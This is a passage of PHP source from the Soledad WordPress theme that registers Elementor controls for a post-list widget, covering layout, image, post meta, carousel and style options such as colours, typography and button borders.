			'condition' => array( 'type' => array( 'grid', 'nlist' ) ),
		) );

		$this->add_responsive_control( 'imggap', array(
			'label'     => __( 'Space Between Image & Content', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-between: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'vertical_position', array(
			'label'                => __( 'Vertical Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-iteminer' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-content, {{WRAPPER}} .pcsl-flex-full' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'paging', array(
			'label'       => __( 'Page Navigation Style', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'none',
			'options'     => array(
				'none'     => esc_html__( 'None', 'soledad' ),
				'nextprev' => esc_html__( 'Ajax Next/Previous', 'soledad' ),
				'numbers'  => esc_html__( 'Page Navigation Numbers', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Posts Button', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
			),
			'description' => __( 'Load More Posts Button & Infinite Scroll just works on frontend only.', 'soledad' ),
			'condition'   => array( 'type!' => 'crs' ),
		) );

		$this->add_control( 'paging_align', array(
			'label'     => __( 'Page Navigation Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'align-center',
			'options'   => array(
				'align-center' => esc_html__( 'Center', 'soledad' ),
				'align-left'   => esc_html__( 'Left', 'soledad' ),
				'align-right'  => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array( 'paging!' => [ 'none', 'nextprev' ] ),
		) );

		$this->end_controls_section();

		$this->register_query_section_controls( true );

		$this->start_controls_section( 'section_image', array(
			'label' => esc_html__( 'Image', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'hide_thumb', array(
			'label'        => __( 'Hide Featured Image?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'imgpos', array(
			'label'   => __( 'Image Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'left'  => 'Left',
				'right' => 'Right',
				'top'   => 'Top',
			),
			'default' => 'left',
		) );

		$this->add_responsive_control( 'imgwidth', [
			'label'      => __( 'Image Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%', 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 600,
					'step' => 1,
				],
				'%'  => [
					'min'  => 0,
					'max'  => 95,
					'step' => 0.1,
				],
			],
			'default'    => [
				'unit' => '%',
			],
			'selectors'  => [
				'{{WRAPPER}} .pcsl-inner .pcsl-thumb'                                                                             => 'width: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .pcsl-imgpos-left .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right .pcsl-content'                       => 'width: calc( 100% - {{SIZE}}{{UNIT}} );',
				'{{WRAPPER}} .pcsl-imgpos-left.pcsl-hdate .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right.pcsl-hdate .pcsl-content' => 'width: calc( 100% - var(--pcsl-dwidth) - {{SIZE}}{{UNIT}} );',
			],
		] );

		$this->add_control( 'image_align', array(
			'label'                => __( 'Image Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner.pcsl-imgpos-top .pcsl-thumb' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'marin-right: auto;',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto;',
			),
			'conditions'           => [
				'relation' => 'and',
				'terms'    => [
					[
						'name'     => 'imgpos',
						'operator' => '==',
						'value'    => 'top'
					],
					[
						'name'     => 'imgwidth[size]',
						'operator' => '!=',
						'value'    => ''
					]
				]
			]
		) );

		$this->add_responsive_control( 'img_ratio', array(
			'label'     => __( 'Image Ratio', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'nocrop!' => 'yes' ),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'mthumb_size', array(
			'label'   => __( 'Image Size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'nocrop', array(
			'label'        => __( 'No Crop Image?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'description'  => __( 'To make it works, you need to select Image Size above is "Penci Masonry Thumb" or "Penci Full Thumb" or "Full"', 'soledad' ),
		) );

		$this->add_control( 'imgtop_mobile', array(
			'label'        => __( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'imgpos' => array( 'left', 'right' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_postmeta', array(
			'label' => esc_html__( 'Post Meta Data', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'post_meta', array(
			'label'    => __( 'Showing Post Meta', 'soledad' ),
			'type'     => Controls_Manager::SELECT2,
			'default'  => array( 'title', 'author', 'date' ),
			'multiple' => true,
			'options'  => array(
				'cat'     => esc_html__( 'Categories', 'soledad' ),
				'title'   => esc_html__( 'Title', 'soledad' ),
				'author'  => esc_html__( 'Author', 'soledad' ),
				'date'    => esc_html__( 'Date', 'soledad' ),
				'comment' => esc_html__( 'Comments', 'soledad' ),
				'views'   => esc_html__( 'Views', 'soledad' ),
				'reading' => esc_html__( 'Reading Time', 'soledad' ),
			),
		) );

		$this->add_control( 'primary_cat', array(
			'label'        => __( 'Show Primary Category Only', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'description'  => __( 'If you using Yoast SEO or Rank Math plugin, this option will show only the primary category from those plugins. If you don\'t use those plugins, it will show the first category in the list categories of the posts.', 'soledad' ),
			'label_on'     => __( 'On', 'soledad' ),
			'label_off'    => __( 'Off', 'soledad' ),
			'return_value' => 'on',
			'default'      => '',
		) );

		$this->add_control( 'title_length', array(
			'label'   => __( 'Custom Title Words Length', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'default' => '',
		) );

		$this->add_control( 'date_pos', array(
			'label'     => __( 'Post Date Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'left'  => 'Left',
				'right' => 'Right',
			),
			'default'   => 'left',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'date_align', array(
			'label'       => __( 'Post Date Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-inner.pcsl-nlist .pcsl-date' => 'text-align: {{VALUE}}'
			),
			'condition'   => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'datewidth', [
			'label'      => __( 'Post Date Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%', 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 600,
					'step' => 1,
				],
				'%'  => [
					'min'  => 0,
					'max'  => 95,
					'step' => 0.1,
				],
			],
			'default'    => [
				'unit' => '%',
			],
			'selectors'  => [
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-dwidth: {{SIZE}}{{UNIT}};',
			],
			'condition'  => array( 'type' => array( 'nlist' ) ),
		] );

		$this->add_control( 'dformat', array(
			'label'   => __( 'Date Format', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				''        => 'Default',
				'timeago' => 'Time Ago',
				'normal'  => 'Normal',
			),
			'default' => '',
		) );

		$this->add_control( 'show_formaticon', array(
			'label'        => __( 'Show Post Format Icons', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'show_reviewpie', array(
			'label'        => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'show_excerpt', array(
			'label'        => __( 'Show The Post Excerpt?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'separator'    => 'before',
		) );

		$this->add_control( 'excerpt_length', array(
			'label'     => __( 'Custom Excerpt Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 500,
			'step'      => 1,
			'default'   => 15,
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_align', array(
			'label'       => __( 'Custom Excerpt Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'condition'   => array( 'show_excerpt' => 'yes' ),
			'label_block' => false,
			'options'     => array(
				'left'    => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center'  => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'   => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
				'justify' => array(
					'title' => __( 'Justify', 'soledad' ),
					'icon'  => 'eicon-text-align-justify',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'show_readmore', array(
			'label'        => __( 'Show Read More Button?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'separator'    => 'before',
		) );

		$this->add_control( 'rmstyle', array(
			'label'     => __( 'Read More Button Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'filled'    => 'Default',
				'bordered'  => 'Bordered',
				'underline' => 'Underline',
				'text'      => 'Text Only',
			),
			'default'   => 'filled',
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_control( 'rm_align', array(
			'label'       => __( 'Custom Read More Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'condition'   => array( 'show_readmore' => 'yes' ),
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-readmore' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'excerpt_pos', array(
			'label'      => __( 'Excerpt & Read More Position', 'soledad' ),
			'type'       => Controls_Manager::SELECT,
			'options'    => array(
				'below' => 'Below of Image',
				'side'  => 'Side of Image',
			),
			'separator'  => 'before',
			'default'    => 'below',
			'conditions' => [
				'relation' => 'or',
				'terms'    => [
					[
						'name'     => 'show_excerpt',
						'operator' => '==',
						'value'    => 'yes'
					],
					[
						'name'     => 'show_readmore',
						'operator' => '==',
						'value'    => 'yes'
					]
				]
			]
		) );

		$this->add_control( 'heading_show_mobile', array(
			'label'     => __( 'Showing on Mobile', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'hide_cat_mobile', array(
			'label'        => __( 'Hide Post Categories on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_meta_mobile', array(
			'label'        => __( 'Hide Post Meta on Mobile', 'soledad' ),
			'description'  => __( 'Include: Author Name, Date, Comments Count, Views Count, Reading Time', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_excerpt_mobile', array(
			'label'        => __( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'hide_rm_mobile', array(
			'label'        => __( 'Hide Post Read More Button on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'show_readmore' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_ajax_filter();

		$this->start_controls_section( 'section_carousel_options', array(
			'label'     => __( 'Carousel Options', 'soledad' ),
			'condition' => array( 'type' => 'crs' ),
		) );

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );

		$this->add_control( 'loop', array(
			'label'     => __( 'Carousel Loop', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
			'condition' => array( 'carousel_slider_effect' => 'default' ),
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
		) );
		$this->add_control( 'speed', array(
			'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 600,
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show next/prev buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show dots navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );


		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_content', array(
			'label' => __( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Post Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_control( 'item_bg', array(
			'label'     => __( 'Post Items Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'item_padding', array(
			'label'      => __( 'Post Items Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'item_borders', array(
			'label'     => __( 'Add Borders for Post Items', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'border: 1px solid {{VALUE}};' ),
		) );

		$this->add_control( 'remove_border_last', array(
			'label'     => __( 'Remove Border Bottom On Last Item', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-col-1 .pcsl-item:last-child .pcsl-itemin' => 'padding-bottom: 0; border-bottom: none;'
			),
			'condition' => array( 'column' => '1', 'item_borders!' => '' ),
		) );

		$this->add_responsive_control( 'item_bordersw', array(
			'label'      => __( 'Post Items Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'side_padding', array(
			'label'      => __( 'Padding for Side Content of Image', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .pcsl-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'heading_pcat', array(
			'label'     => __( 'Post Categories', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'cat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'cat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'cat_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );

		$this->add_control( 'heading_ptitle', array(
			'label'     => __( 'Post Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'title_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .pcsl-content .pcsl-title a' 		=> 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'background-size: 100% 1px;',
			),
		) );

		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-content .pcsl-title',
		) );

		$this->add_control( 'heading_date', array(
			'label'     => __( 'Post Date ( for "Creative List" layout )', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'date_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-hdate .pcsl-date span' => 'color: {{VALUE}};' ),
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'date_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsl-hdate .pcsl-date span',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'heading_meta', array(
			'label'     => __( 'Post Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'meta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'meta_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .grid-post-box-meta',
		) );

		$this->add_control( 'heading_excerpt', array(
			'label'     => __( 'Post Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array( '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selector'  => '{{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_rm', array(
			'label'     => __( 'Read More Button', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_responsive_control( 'rm_padding', array(
			'label'      => __( 'Button Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle!' => 'text' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_borders', array(
			'label'      => __( 'Button Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_radius', array(
			'label'      => __( 'Button Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'rm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn',
		) );

		$this->add_control( 'rm_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
